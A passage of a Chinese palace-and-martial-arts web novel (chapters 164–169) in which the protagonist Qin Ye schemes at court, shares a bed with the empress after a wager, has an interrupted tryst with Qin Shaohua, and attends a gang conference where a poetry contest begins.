殿内议论纷纷，声浪此起彼伏。但细心之人已经发现，那些平日里最支持藩王的大臣，此刻却出奇地安静。 秦烨站在殿下，神色从容。他看着那些激动的大臣，眼中闪过一丝讥讽。这些人，恐怕还不知道自己正在演什么戏。 “诸位大人说得对。”秦烨忽然开口，声音清朗，“这些确实是污蔑之词。但既然有人敢写，就该查个水落石出。” 他转向女帝，躬身一拜：“请陛下明察。若这些罪证属实，藩王就是欺君罔上，罪该万死。若是诬告，那诬陷者更该严惩不贷。” 第一百六十四章 得寸进尺 上官瑾的目光在文书上停留许久，终于缓缓抬起头。她的眼神冰冷如霜，扫视着殿内众臣。 “诸位爱卿。”上官瑾的声音清冷，带着不容置疑的威严。她端坐在龙座上，一袭明黄色龙袍衬得她愈发高贵。 “臣等在。”群臣齐声应和，纷纷跪伏在地。衣袍摩擦的声响此起彼伏，在寂静的大殿中格外清晰。 秦烨嘴角微扬，这些老狐狸们，一个个都在等着看风向。他们不会轻易表态，生怕站错了队。朝堂之上，每一个举动都可能影响一个家族的兴衰。 “对于此事，诸位爱卿作何感想？”上官瑾目光如电，扫过殿中众臣。她的声音不疾不徐，却让在场的每个人都感受到了无形的压力。 殿内一片寂静，没有人敢率先开口。支持上官煜显然不智，但若是反对，万一事情有变，那后果更是不堪设想。文武百官们低着头，仿佛对地上的青砖产生了浓厚的兴趣。 秦烨看到民部尚书夏侯谦的额头已经渗出细密的汗珠，这位平日里能说会道的老臣，此刻却像是被人点了哑穴一般。 “既然诸位都无话可说，那朕来说说。”上官瑾的声音依旧平静，但语气中已带了几分寒意。她缓缓起身，龙袍上的金线在阳光下闪烁着耀眼的光芒。 孔云章的脸色愈发苍白，他偷偷瞥了一眼站在不远处的武部尚书钱明德，却发现对方也是一副置身事外的模样。 “有人在暗中散布谣言，意图中伤朕的皇叔。”上官瑾顿了顿，目光在众人脸上扫过，“此事必须彻查到底！” 这话听着是在维护上官煜，实则是要将他置于死地。秦烨暗自点头，上官瑾这一手玩得漂亮，既不会让人觉得她对皇叔不敬，又能借机除掉这个心腹大患。 “卫秋。” “臣在。”大理寺卿卫秋连忙出列，他的脚步声在安静的大殿中格外清晰。 “此事就交由大理寺负责调查，务必要查个水落石出。”上官瑾的语气中带着一丝不易察觉的冷意。 “遵旨。”卫秋躬身应命，他那张刚毅的面孔上看不出任何情绪波动。 秦烨看着卫秋领命而去，心中已有了计较。这位大理寺卿向来刚正不阿，由他来查这件事，上官煜怕是要吃不了兜着走。 朝会散去，群臣们三三两两地离开，脸上都带着凝重之色。有人低声议论，有人默默思索，更多的人选择保持沉默。 秦烨没有立即离开，而是继续观察着大殿内的情形。他看到几个平日里跟上官煜走得近的官员正在交头接耳，神情中带着几分慌乱。 等人都走得差不多了，秦烨才转身去了后宫。他得确保上官煜不会在暗中使什么手段。后宫的禁军守卫森严，每个角落都有巡逻的侍卫。 穿过几道回廊，空气中飘来阵阵花香。后宫的花园里，牡丹开得正艳，粉白相间的花朵在微风中轻轻摇曳。 巡视完后宫，秦烨直奔承明殿。推开殿门时，就看到上官瑾正低头批阅奏折，连看都不看他一眼。烛光下，她的侧脸显得格外柔和。 “陛下这是闹哪样？”秦烨笑着走近，“连看都不敢看我一眼？” 上官瑾的玉手微微一颤，手中的奏折差点掉落。秦烨眼尖地发现那份奏折是空白的，顿时明白了她的心思。烛光映照下，她的耳垂泛着淡淡的红晕。 “朕在忙，你先退下。”上官瑾故作镇定地说道，但声音中带着一丝不易察觉的慌乱。 “陛下该不会是想赖账吧？”秦烨凑近了些，呼吸拂过她的耳畔，“输了赌约就要认账，这可是您说的。” 上官瑾俏脸微红，但还是强撑着道：“朕自然说话算话，只是现在要处理政务。” “那好，我就在外面候着。”秦烨转身往外走，“等陛下处理完政务。” 看着秦烨的背影，上官瑾暗自叹了口气。这个赌约本就不算什么，她对秦烨的感情早已今非昔比。只是担心这个家伙会得寸进尺，到时候可就不好收场了。 秦烨站在殿外，想着上官瑾刚才的表情，心中不禁一阵好笑。堂堂一国之君，在这种事情上竟也会害羞。不过这样的上官瑾，倒是显得格外可爱。 他知道上官瑾不会真的赖账，只是在拖延时间罢了。这种小女儿姿态，反而让他觉得分外有趣。 殿内，上官瑾坐在龙座上，眉头紧锁。朝服还未更换，发髻也未拆散，显然心事重重。 她时不时瞥向殿外，看到秦烨依然执着地守在那里，不由得暗自叹息。手中的奏折翻了几页，却一个字也没看进去。 “这家伙，还真是……”上官瑾轻声嘀咕，语气中带着几分无奈。 宫女小棠轻步上前：“陛下，要不要传膳？” “不急。”上官瑾摆了摆手，目光又不自觉地飘向殿外。 夕阳渐渐西沉，天色暗了下来。宫女们开始在殿内点起灯烛，昏黄的光芒映照着上官瑾略显疲惫的面容。 她终于放下手中的奏折，站起身来。裙摆轻拂过地面，发出细微的沙沙声。 殿门吱呀一声打开，上官瑾缓步走出。 “你就这么站了一整天？”她语气中带着几分嗔怪，眼中却有着不易察觉的柔软。 秦烨咧嘴一笑，露出一口白牙：“为了今晚能抱着陛下睡觉，别说站一天，站三天也值得。” “登徒子！”上官瑾俏脸一红，“谁准你胡说八道了？”她下意识地环顾四周，生怕被人听去。 “这有什么？咱们说好的，就是单纯地抱着睡觉而已。”秦烨一脸无辜地眨眨眼，“陛下该不会是想歪了吧？” 上官瑾心中却是一阵忐忑。她当然明白，两个年轻人共处一室，哪有那么简单？更何况，他们俩早就…… 想到这里，上官瑾不由得有些慌乱。手指无意识地绞着衣角，这个小动作她已经很多年没有过了。 “哼，朕答应你是答应你了。”上官瑾故作镇定地板着脸，“不过你给朕记住，没有朕的允许，不许动手动脚，否则朕让你吃不了兜着走！” “遵命！”秦烨笑嘻嘻地应道，“我保证规规矩矩的。” 上官瑾转身往殿内走去，秦烨紧随其后。宫女们见状，纷纷低头退下。 “陛下，要不要先沐浴更衣？”小棠小声问道。 上官瑾点点头，随即又补充：“让人准备些点心，朕还没用晚膳。” 第一百六十五章 爱睡不睡 秦烨在外间等候时，听到里面传来哗啦啦的水声，不由得咽了咽口水。脑海中不自觉地浮现出某些画面，连忙甩甩头将这些想法驱散。 约莫一炷香后，上官瑾换了一身月白色寝衣走出来。头发散开披在肩上，少了几分威严，多了几分柔美。 “陛下，该翻牌子了……”一个太监在殿外高声提醒。 “滚！” 上官瑾一声怒喝，把太监吓得连滚带爬地跑了。她最讨厌这种提醒，仿佛自己是什么货物一般。 秦烨看着她气鼓鼓的样子，忍不住笑出声来：“陛下，时候不早了，咱们休息吧。” “不急。”上官瑾别过脸，“朕还没用晚膳。” 很快，宫女送来了饭菜。上官瑾吃得极其缓慢，一粒米都要嚼上半天。 秦烨看得直着急：“陛下，饭都凉了……” “朕不饿。”上官瑾放下筷子，又道，“不过朕现在一点也不困，不如下盘棋？” 秦烨无奈，只好陪她对弈。一盘接一盘，直到深夜，上官瑾虽然频频打哈欠，却还是嘴硬地说不困。 “陛下，你这是在拖延时间吗？”秦烨终于忍不住问道。 “胡说！朕堂堂天子，会怕你不成？”上官瑾嘴硬道，可眼神却有些闪躲。 秦烨看不下去了，直接起身将她抱起。 “你、你干什么？”上官瑾慌乱地挣扎，“放肆！” “睡觉。”秦烨把她放到床上，“该脱衣服了。” “不、不用了……”上官瑾紧张得像只受惊的兔子，“天凉，朕怕着凉……” 秦烨轻笑：“有我抱着，怎么会冷？” 说着，他的手不老实地往某个方向探去。 “啪！” 上官瑾一巴掌打开他的手：“你、你给朕规矩点！说好了只是抱着睡觉的！” “那陛下说，可以抱着你吗？”秦烨柔声问道。 上官瑾咬着嘴唇犹豫了片刻，终于小声道：“可以……” 秦烨笑着将她搂入怀中。上官瑾浑身僵硬，却又莫名地感到一丝安心。 她能感受到秦烨的心跳，强劲有力。这个男人总是这样，明明看起来吊儿郎当，却总能给人一种可靠的感觉。 “陛下……”秦烨的声音在耳边响起。 “嗯？” “你真香。” “登徒子！”上官瑾羞恼地锤了他一下。 秦烨却笑得更开心了。他知道，上官瑾对她还有所防备，但她的心防正在一点点瓦解。 秦烨躺在床上，看着身边的上官瑾，心中不禁暗笑。这位高高在上的女帝，此刻却像只受惊的小兔子一般，浑身僵硬地躺着，连呼吸都小心翼翼。 “你要求还真多。”秦烨忍不住调侃道，目光落在她微微颤动的睫毛上。 上官瑾顿时羞红了脸，咬着嘴唇道：“爱睡不睡！”声音里带着几分恼怒，却又透着一丝娇嗔。 “睡睡睡，我这就睡。”秦烨笑着应道，伸手将她揽得更紧。怀中的身躯微微一僵，却没有挣扎。 上官瑾本想推开他，却又不敢动作太大。她心跳如鼓，脑海中思绪万千。刚才对弈时的困意早已消散得无影无踪，取而代之的是前所未有的清醒。 她能清晰地感受到秦烨的体温，闻到他身上淡淡的药香。这还是她第一次与男子如此亲近，一时间竟不知该如何是好。 要是秦烨突然对她做些什么，她该如何应对？是该奋力反抗，还是……想到这里，上官瑾连忙掐断了这个危险的念头。可是这个想法就像顽皮的种子，一旦种下就再也无法连根拔起。 正当她胡思乱想之际，耳边传来了秦烨均匀的呼吸声。上官瑾偷偷转头看去，只见秦烨已经睡熟了，睡颜安详。 “这个混蛋！”她在心中暗骂，“我这般辗转难眠，他倒好，这么容易就睡着了。” 夜色渐深，寒意悄然而至。窗外的风声渐大，树影婆娑，带来阵阵凉意。 上官瑾本想与秦烨保持距离，可寒意侵袭之下，她不自觉地往温暖的源头靠近。秦烨就像个天然的暖炉，让她忍不住想要贴得更近些。 她的呼吸渐渐变得绵长，意识逐渐模糊。这一夜，她睡得格外香甜，连梦中都带着淡淡的笑意。 次日清晨，晨光微熹。 秦烨先醒了过来，低头看着怀中的上官瑾。此刻的她卸下了女帝的威严，宛如一只温顺的小猫。长长的睫毛在脸上投下淡淡的阴影，红唇微启，呼吸绵长。 她的发丝散落在枕上，有几缕调皮地落在脸颊上。秦烨看得入神，不忍打扰她难得的安眠。 过了许久，上官瑾才悠悠转醒。睁开眼的瞬间，她还沉浸在这一夜的安宁中。直到看清自己正紧贴在秦烨怀里，她才猛地惊醒。 “你……你这个登徒子！”上官瑾羞红了脸，连忙要挣脱。她的脸颊泛着红晕，眼中闪过一丝慌乱。 秦烨无奈道：“这怎么能怪我？明明是你自己往我这边靠的。” “胡说！”上官瑾恼羞成怒，用粉拳捶打着秦烨的胸膛，“就是你的错！”她的动作看似凶狠，实则轻柔，更像是在撒娇。 “那你可是比我更不检点。”秦烨笑道，“半夜里往我怀里钻的是谁？” “滚！”上官瑾指着床边，“赌约已经兑现了，你快给朕滚出去！”她的声音里带着几分气急败坏。 秦烨却不慌不忙道：“一次怎么够？以后每晚都这样睡才好。” “滚！！！” 在上官瑾的怒吼声中，秦烨只得悻悻离开了承明殿。走出宫门时，他回头望了一眼，嘴角勾起一抹笑意。 宫女们已经在外候着，见秦烨出来，纷纷低头行礼，眼中却闪过异样的神色。她们都在猜测，这位秦公公，昨晚到底与女帝发生了什么。 秦烨走在宫中，开始思考接下来的事务。后宫还需巡视，虎卫那边也有不少公务等着处理。 皇宫内院，一处偏僻的角落。 “大人，昨晚秦烨真的在承明殿过夜了？”一个黑衣人低声问道。 “不错。”另一人点头，“整整一夜都未出来。” “这……这该如何是好？要不要通知主上？” “不必惊动主上。”那人沉声道，“继续盯着，看看事态发展。” 与此同时，在遥远的岭南大山中。 上官煜正与两位巫疆长老穿行在崎岖的山路上。近来的失利让他心情格外烦躁。青云教虽然覆灭，但这些帮众对他而言不过是棋子，损失与否并不重要。 他的修为也未受影响，甚至通过噬月大功吸收了几位高手的功力。只是那天地大挪移终究未能到手，这让他颇感遗憾。 第一百六十六章 备受折磨 山路崎岖，两旁树木参天。偶尔有野兽的叫声传来，更添几分荒凉之感。 就在此时，一名手下匆匆赶来：“主人，大事不好！您的身份暴露了！” “什么身份？”上官煜皱眉问道。他有多重身份，需要确认是哪一重暴露了。 “江湖上已经传开，说您就是藩王！现在人人都知道您是上官煜了。更有人组建了除妖阁，扬言要对付您！”那手下气喘吁吁地说道。 “什么？！” 上官煜勃然大怒。区区除妖阁算什么？不过是些跳梁小丑罢了。真正让他愤怒的是，自己精心打造的芮容霄这个身份，就这样毁于一旦。 他怒吼着连续击打周围的树木，发泄着心中的不甘。树木轰然倒塌，惊起一群飞鸟。 “到底是谁？是谁在暗中算计于我？”他的声音中充满了愤怒与不甘。 自从争夺天地大挪移失败后，他就感觉自己一步步落入某个未知之人的圈套。这种被人玩弄于股掌之间的感觉，让他既愤怒又无力。 两位巫疆长老对视一眼，都从对方眼中看到了担忧。他们跟随上官煜多年，还是第一次见他如此失态。 “主人息怒。”一位长老劝道，“此事或许另有转机。” 上官煜深吸一口气，强迫自己冷静下来。他环顾四周，目光落在远处的山峰上。 “传令下去，召集所有人手。”他沉声道，“既然身份已经暴露，那就不必再藏头露尾。” “是！”手下领命而去。 虎卫总部内，秦烨正襟危坐，听着手下鬱风的汇报。 “大人，汴城即将召开一场帮会大会，我们要不要参加？”鬱风站在办公桌前，语气中带着一丝谨慎。显然对这个问题也有些忐忑。 秦烨放下手中的文件，目光如炬：“具体说说。” 鬱风立即挺直了腰板：“这是汴城的传统，每年各大帮会都会聚在一起，按照实力划分地盘、制定规矩。”他顿了顿，补充道：“毕竟这是汴城，不比其他地方，做事都要顾及影响。” “参加的都有哪些势力？”秦烨手指轻叩桌面，发出有节奏的声响。 “玄武会、天罡帮、断魂门……”鬱风一一列举，“基本上汴城有头有脸的帮会都会到场。” 秦烨站起身，走到窗前。阳光照在他的侧脸上，勾勒出一道坚毅的轮廓。“必须去。”他的声音沉稳有力。 一旁的褚煦忍不住插话：“大人，我们虎卫刚成立不久，在汴城根基尚浅，这次去会不会……” “正因为根基浅，才更要去。”秦烨转过身，目光扫过在场的每一个人，“汴城不比别处，没有实力寸步难行。这次帮会大会，就是我们打开局面的机会。” 秦韶华原本安静地站在角落，此刻却面色苍白，身体微微摇晃。她紧咬着下唇，试图掩饰身体的不适，但那份痛苦却怎么也藏不住。 “韶华！”秦烨几步跨到她身边，及时扶住了她摇摇欲坠的身体。 “我没事……”秦韶华勉强挤出一丝笑容，但那苍白的脸色却出卖了她。她的手紧紧抓着秦烨的衣袖，指节因用力而发白。 秦烨转头对鬱风和褚煦使了个眼色：“你们先出去。” 等两人退出后，秦烨扶着秦韶华坐到榻上，蹲下身为她把脉。入手的脉象极为复杂，一股凌厉的剑气在她体内四处冲撞，就像无数把利剑在她体内肆意横行。 “这是怎么了？”秦烨眉头紧锁。 秦韶华红着脸，声若蚊蝇：“月事来了……” 话音未落，她突然紧紧抱住秦烨，温热的泪水滴落在他的肩头：“秦烨，要了我吧！” 这突如其来的举动让秦烨一愣。秦韶华的体温透过薄薄的衣料传来，带着一丝灼人的热度。他能感受到她的颤抖，以及那份难以言说的痛苦。 “现在不行，你这个时候……” “求你了……”秦韶华抬起头，泪眼婆娑，“我真的很难受，每次月事来都这样。自从去了青霄峰后，体内的剑气就会在这时候暴动……” 她的声音带着哭腔，让人心疼。秦烨能清晰地感受到她体内剑气的狂暴，那股力量正在一点点撕裂她的经脉。 就在这时，秦烨的脑海中突然响起阵阵打铁声，还伴随着婴儿的啼哭。这种诡异的声音自从云霄观一行后就时常出现，每次都会带来剧烈的疼痛。 果然，一阵剧痛如电流般窜过全身，让秦烨冷汗直冒。他强忍着痛苦，却发现秦韶华的状况更加糟糕。 与此同时，远在青霄峰之巅。 一位独臂老者正漫步山间，周围云雾缭绕，仿佛置身仙境。他忽然停下脚步，轻轻抖动空荡的袖子。草丛中露出一柄剑，正发出嗡嗡的剑鸣。 “他已经快要忍不住了。”老头子叹了口气，手按剑身，剑鸣顿时消失。 这时，一个黑袍人无声无息地出现在他身后：“那孩子如何？” “根骨清奇，不错。”老者的目光望向远方，仿佛能穿透千山万水，看到汴城中的情形。 “很好。”黑袍人露出满意的笑容，“时机已到，该让他知道些什么了。” 虎卫总部内，秦烨身上的疼痛突然消失，就像从未出现过一般。但怀中的秦韶华却更加难耐，她主动拉过秦烨的手放在自己胸前。 “秦烨，我这辈子认定你了……”说着，她开始撕扯自己的衣领。雪白的肌肤在灯光下泛着诱人的光泽。 看着眼前的一幕，秦烨再也压抑不住内心的炙热。他的大手覆上那团柔软，呼吸变得粗重起来。秦韶华的娇躯在他怀中轻颤，带着无尽的诱惑。 秦烨的大手在秦韶华身上游走，带来一阵阵酥麻的快感。秦韶华忍不住轻吟出声，脸上泛起红晕，眼神迷离地看着眼前的男人。 房间内暧昧的气氛愈发浓郁，秦烨呼吸渐重，正准备更进一步时，门外突然响起了敲门声。 “咚咚咚。” 清脆的敲门声如同一记惊雷，瞬间将两人惊醒。 “秦烨，你在里面吗？”商媛那妩媚的声音传了进来。 秦烨和秦韶华如同被雷击中一般，瞬间分开。秦韶华慌乱地整理着凌乱的衣衫，手指微微颤抖。秦烨也快速理了理衣襟，深吸一口气让自己平静下来。 “在的，嫂嫂。”秦烨强作镇定地回应，声音却略显沙哑。 第一百六十七章 弦外之音 房门被轻轻推开，商媛婀娜的身影出现在门口。她今日穿了一袭淡青色长裙，更显得风韵动人。裙摆随着她的步伐轻轻摆动，勾勒出曼妙的身姿。 商媛的目光在秦烨和秦韶华之间来回扫视，眼中闪过一丝异色。房间内还残留着些许暧昧的气息，让她眉头微蹙。 “你们两个在房间里做什么？”商媛语气中带着几分试探，目光若有似无地在秦韶华凌乱的衣衫上停留。 秦烨心中暗叫不妙，但脸上却不动声色：“秦姑娘身体不适，找我看诊。” 秦韶华连忙配合道：“是啊嫂嫂，我这几日月事来了，身子有些不舒服。”她低着头，不敢直视商媛的眼睛。 “原来如此。”商媛点点头，脸上带着若有似无的笑意，眼神中却闪过一丝锐利。 秦烨赶紧拿出纸笔，写下一张药方递给秦韶华：“按这个方子抓药服用就好。” 秦韶华接过药方，匆匆告辞离去。她的脚步有些凌乱，显然还未从方才的惊吓中完全恢复。 房间里只剩下秦烨和商媛两人，空气中弥漫着一股微妙的气氛。秦烨打量着眼前的商媛，不得不承认，这个三十岁的女人风韵犹存。她的眼角微微上挑，带着几分妩媚，却又不失端庄。 “嫂嫂找我有事？”秦烨主动打破沉默。 商媛莲步轻移，轻启朱唇，声音低沉而富有磁性。“我是来跟你说汴城帮会的事情。”秦烨来了兴趣：“请嫂嫂指教。” “汴城的帮会势力错综复杂，表面上看玄铁会最大，实则不然。”商媛缓缓道来，眼神中带着几分深意。 “哦？还有比玄铁会更强的势力？”秦烨挑眉，心中升起一丝警惕。 商媛直视秦烨的眼睛：“汴城地下有三大势力，分别是墨风帮、青云派和兴武会。” 她的声音带着几分凝重：“墨风帮由江湖好汉组成，手段狠辣，做事不择手段；青云派最为神秘，帮主从未露面，但势力遍布汴城各个角落；兴武会背靠大势力，行事张狂，常常不把其他帮会放在眼里。” 秦烨若有所思：“看来这汴城的水很深啊。” “你们虎卫虽然继承了玄铁会的地位，但要小心这三大势力。”商媛提醒道，“尤其是兴武会，他们最近动作频繁，似乎在谋划着什么。” “多谢嫂嫂提醒。”秦烨拱手道谢，心中却在思索这三大势力的关系。 商媛看着秦烨英俊的面容，心中一阵悸动。这些日子，她每晚都会想起秦烨送她的那件“玩具”。那种欲罢不能的感觉，让她对秦烨越发心动。 “秦烨，你跟秦韶华……”商媛欲言又止，眼神中带着几分复杂。 秦烨心中一紧：“嫂嫂多虑了，我和秦姑娘清清白白。” “是吗？”商媛轻笑一声，“我看你们方才的样子，可不像清白二字能形容的。”她的声音带着几分调侃，却又暗含警告。 秦烨讪讪一笑，不知如何应对。他能感觉到商媛话中的弦外之音，但又不敢轻易接话。 商媛缓步走到秦烨身边，幽香扑面而来：“你可知道，我这些日子……”她的声音越来越轻，带着几分诱惑的意味。 秦烨只觉得心跳加速，呼吸也变得急促起来。商媛的气息近在咫尺，让他有些心猿意马。 就在这时，外面传来脚步声。商媛连忙退开几步，恢复了端庄的样子。 “帮会大会在即，你要多加小心。”商媛正色道，“尤其是那三大势力，他们肯定不会放过这个机会。” 秦烨点头：“我明白。” 等商媛离开后，秦烨长出一口气，只觉得后背已经被汗水浸湿。这汴城的水是真深，不光是帮会势力，就连这男女之情也是暗流涌动。 秦烨揉了揉太阳穴，感觉头有些疼。今天发生的事情太多，需要好好梳理一下。 首先是秦韶华的事，虽然被商媛撞破，但似乎并未造成太大的影响。只是以后要更加小心，不能再这么莽撞。 其次是商媛提到的三大势力，这才是最需要关注的。尤其是兴武会最近的异动，必须提高警惕。 秦烨走到桌前，拿出一张纸，开始记录今天得到的信息。墨风帮、青云派、兴武会，每个势力的特点和可能的威胁，都需要仔细分析。 汴城帮会大会，向来是各方势力的角逐之地。 今日的醉春楼外，人影绰绰，三三两两的帮派成员正在门口排队登记。阳光斜斜地洒在青石板路上，映照出一道道长长的影子。空气中飘散着淡淡的茶香，混合着江湖中人身上特有的铁锈味道。 秦烨带着鬱风和褚煦大步走来，目光扫过那些排队的人群。他身着一袭玄色长衫，腰间别着一柄古朴长剑，整个人散发出一种不怒自威的气势。 “这么多人……”褚煦低声嘀咕着，眼神中带着几分忐忑。 鬱风瞥了他一眼，压低声音道：“大人，我们直接进去？” 秦烨微微颔首，迈步向前。他的步伐沉稳有力，仿佛每一步都踩在众人心头。 守在门口的几个帮众刚要阻拦，其中一人突然认出了秦烨的面容，脸色骤变。他连忙扯了扯身边同伴的衣袖，指着秦烨的方向小声说了几句。 那些帮众立刻让开一条路，眼中闪过惊惧之色。最近虎卫在汴城的所作所为，早已传遍大街小巷。这位年轻的大人，可不是好相与的。 周马煜连忙迎了上来，脸上堆满笑容：“秦大人请进，都安排好了。”他弯着腰，不住地搓着手，那谄媚的样子让人不禁皱眉。 看着秦烨一行人昂首阔步地走进醉春楼，门口排队的帮众们纷纷侧目，窃窃私语声此起彼伏。 “那就是虎卫的秦烨？看起来也就二十出头……” “嘘，小声点，听说他手下有个高手，一掌就能劈碎一块青石。” “是啊，上个月咱们帮的张二就是得罪了他，现在还躺在床上呢。” 鬱风和褚煦跟在秦烨身后，听着这些议论声，心中难掩激动。他们还记得在玄铁会时的日子，每年参加帮会大会都要在外面排队，如同无名小卒。如今跟着秦烨，却能享受这般待遇。 第一百六十八章 名不虚传 醉春楼内，红木雕花的楼梯蜿蜒而上，墙上挂着名家字画，处处彰显着奢华。秦烨带着两人径直往二楼走去，却在楼梯口被一个灰袍老者拦住。 “站住。”老者冷冷开口，浑浊的眼睛里闪过一丝精光，“二楼重地，闲杂人等不得入内。” 周马煜额头渗出冷汗，赶忙解释：“商长老，这位是虎卫大人秦烨，还请放行。” “虎卫？”商大贵眯起眼睛，语气中带着几分轻蔑，“从未听说过这个组织，报上名来。” 秦烨冷笑一声，眼神中闪过一丝戾气：“汴城帮会大会，何时有了需要报名的规矩？” “放肆！”商大贵怒喝，声音在大堂内回荡，“这地盘归汴城帮会管，不是什么阿猫阿狗都能来的地方！” 周马煜脸色大变：“商长老，您……” 秦烨抬手制止了周马煜，目光如刀般锋利：“看来，今日是要动手了。”他的声音不大，却让在场所有人都感到一阵寒意。 话音未落，身后的韩九已经释放出强大的气势。一股无形的压力瞬间笼罩整个大堂，让在场所有人都感到窒息。茶杯中的水面泛起涟漪，墙上的字画无风自动。 商大贵脸色骤变，双腿一软，竟不由自主地跪了下来。他的额头渗出豆大的汗珠，身体微微颤抖。 就在这时，二楼传来爽朗的笑声：“哈哈哈，原来是虎卫的秦大人驾到，有失远迎啊！” 一个身材魁梧的中年人大步走下楼来，正是墨风帮的帮主贾风。他身着锦缎长袍，腰间系着玉带，举手投足间尽显威严。 他一把扶起商大贵，笑着对秦烨说：“下属不懂事，还望秦大人海涵。” 秦烨淡淡一笑：“无妨。” 贾风打量着秦烨年轻的面容，眼中闪过一丝惊讶。这么年轻就能建立起虎卫这样的势力，确实不简单。他心中暗自盘算，这个年轻人，究竟是福是祸？ “秦大人，楼上请。”贾风做出一个请的手势，“兴武会的副会长和青云派的长老都到了，不如一起商议一下来年汴城的规矩？” 秦烨点头应下，心中却在冷笑。这商大贵明显是贾风安排来试探虎卫实力的，如今见识到韩九的实力，立刻就换了一副嘴脸。这就是江湖，永远都是实力说话。 一行人上了二楼，推开雕花木门，里面已经坐了不少人。 酒香四溢，觥筹交错。 秦烨坐在席间，目光淡然地扫过周围的宾客。灯火通明的大堂内，丝竹之声悠扬，觥筹交错间满是觞政之声。 这场汴城帮会大会，汇聚了整个承天府的帮派势力。能在这张主桌上落座的，无一不是各方势力的巨头。大堂内摆设着十数张圆桌，每桌都坐满了各帮派的重要人物。 墨风帮帮主贾风高坐上首，身着一袭墨色长袍，举手投足间尽显威严。兴武会的两位副会长分坐左右，一个面容清瘦，眼神锐利；一个体态魁梧，气势不凡。还有那神秘莫测的青云派两位长老，一老一少，看似普通，却给人一种深不可测的感觉。 韩九和沈化林分别坐在秦烨两侧，警惕地观察着四周。韩九时不时用余光扫视周围，手始终放在腰间；沈化林则显得从容许多，但那双眼睛却一刻不停地在场内游走。 “来来来，这位就是虎卫的秦烨兄弟吧？”一个粗犷的声音打破了短暂的沉寂。 秦烨抬眼看去，说话的是一个膀大腰圆的汉子，正端着酒杯向他示意。那人脸上带着几分酒意，眼神中却闪烁着精明的光芒。 “正是在下。”秦烨微微颔首，端起酒杯轻抿一口。 “好一个年轻有为的后生！”那汉子放声大笑，声音在大堂内回荡，“听闻虎卫这段时间在汴城闹出不小的动静，今日一见，果然名不虚传。” 席间其他人也纷纷打量着秦烨，眼神中既有好奇，也有试探。有人低声议论，有人暗中观察，更有人露出不屑的神色。 秦烨能感受到他们眼中的质疑。太年轻了，年轻得不像是能掌控一方势力的人物。但他并不在意这些目光，实力才是江湖中最好的证明。 “诸位，”贾风忽然开口，声音不大却让所有人都安静下来，“地盘的划分已经商定，不如我们开始饮酒言欢如何？” 众人纷纷应和，酒过三巡，气氛渐渐热络起来。觥筹交错间，有人高声谈笑，有人低声密语，更有人借着酒意拉关系。 秦烨一边小酌，一边观察着在座的各方势力。这些人表面上觥筹交错，实则暗流涌动。每一个眼神的交汇，每一句看似随意的寒暄，都可能暗藏玄机。 “时值秋闱，文人雅士齐聚汴城，”贾风忽然站起身，脸上已经泛起几分酒意，“我等江湖中人，也该附庸风雅才是。” “贾帮主要赋诗了！”有人高声叫道，声音中带着几分恭维。 “是啊，贾帮主的诗才可是远近闻名。”另一个声音附和道。 “请贾帮主赐教！” 秦烨看着这一幕，嘴角微微上扬。贾风确实有几分文人气质，每年的帮会大会上都要借酒兴吟诗作对，以显示自己的与众不同。这种表现，既是为了彰显自己的才学，也是在向众人展示自己与普通帮派头目的不同。 “今日，我便来个七杯成诗！”贾风豪气干云地说道，目光扫过在座的众人。 “好！” “妙极！” 众人纷纷叫好，就连那些平日里与贾风不对付的人也不得不给几分面子。 丫鬟连忙端来七杯酒，整整齐齐地摆在贾风面前。酒杯中的琥珀色液体在灯光下闪烁着诱人的光芒。 贾风一饮而尽第一杯，朗声道：“秋风萧瑟夜凄凉！” 第二杯下肚：“孤灯独照客思乡！” 第三杯：“江湖路远人未老！” 第四杯：“天涯游子心彷徨！” 每一句诗出口，都引来一阵喝彩。贾风的脸色渐渐泛红，但眼神依旧清明。 秦烨静静地看着这一幕，心中暗自思忖。这些帮派势力，表面上谈笑风生，背地里却是刀光剑影。就像贾风现在的表现，看似是在吟诗作对，实则是在向所有人展示自己的实力和影响力。 众人的恭维声此起彼伏，诗词吟诵不断，整个大厅里充满了文人雅士般的氛围。觥筹交错间，丝竹之声悠扬，檀香袅袅升起，在灯火通明的大厅里氤氲成一片朦胧。 第一百六十九章 诗才横溢 秦烨坐在一旁的檀木圆桌旁，一边品尝着美食，一边看着这群平日里凶神恶煞的帮会大人们摇头晃脑地吟诗作对。他端起酒杯，轻抿一口醇香的女儿红，目光在厅内扫过，不禁觉得有些好笑。 眼前的场景，与其说是江湖帮会的聚会，倒不如说是一群文人墨客在互相吹捧。那些平日里谈笑间就能决定他人生死的大人们，此刻却都摆出一副斯文模样，装腔作势地品评诗词。 “好诗！好诗啊！”一个身着锦袍的中年男子拍案叫绝，“张帮主这首《湖畔吟》，意境之美，令人叹为观止！” “哪里哪里，”张帮主连忙摆手，脸上却难掩得意之色，“不过是闲来无事信手涂鸦罢了。还是嵇兄的《寒月》更胜一筹。” 秦烨看着这一幕，心中暗自摇头。这些顶级帮会的大人们，武功和背景都不缺，反倒是这些风雅之事更显珍贵。谁不想在打打杀杀之外，再多一些雅致的谈资呢？ 一盘色香俱全的东坡肉被端了上来，秦烨正要夹起一块，却见贾风带着几分轻蔑的笑意向这边走来。他穿着一身墨色长衫，举手投足间透着几分傲慢。 “这位贤弟可是对诗词也有研究？不如也赐教一首？”贾风的语气看似客气，眼神中却带着几分挑衅。他站在秦烨身旁，居高临下地看着他。 秦烨抬头看了他一眼，继续夹起一块肉放入口中，慢条斯理地咀嚼着。肉质鲜嫩，入口即化，确实是难得的美味。 “不必了。”他淡淡地说道。 这简单的三个字立刻引来周围一阵窃窃私语。原本喧闹的大厅突然安静下来，所有人的目光都集中在这个角落。 “呵呵，年纪轻轻，怕是连诗都做不出来吧？”一个尖细的声音响起。 “就是，这种场合还是不要献丑的好。”另一个声音附和道。 嘲讽的声音此起彼伏，贾风的嘴角微微上扬，眼中闪过一丝得意。他故意提高声音：“贤弟不必太过谦虚，在座的都想领教一下年轻人的才华。” 秦烨放下筷子，目光在周围扫过。这些人眼中的轻视和嘲讽，他看得一清二楚。大厅内的气氛逐渐变得凝重，连丝竹声都停了下来。 “既然诸位这么想听，那我就献丑了。”秦烨缓缓站起身来，端起面前的酒杯。 贾风连忙亲自为他斟酒，脸上带着胜券在握的笑意：“请！” 酒香四溢，秦烨一饮而尽，目光变得深邃起来。他轻轻放下酒杯，环视四周。大厅内鸦雀无声，所有人都等着看这个年轻人出丑。 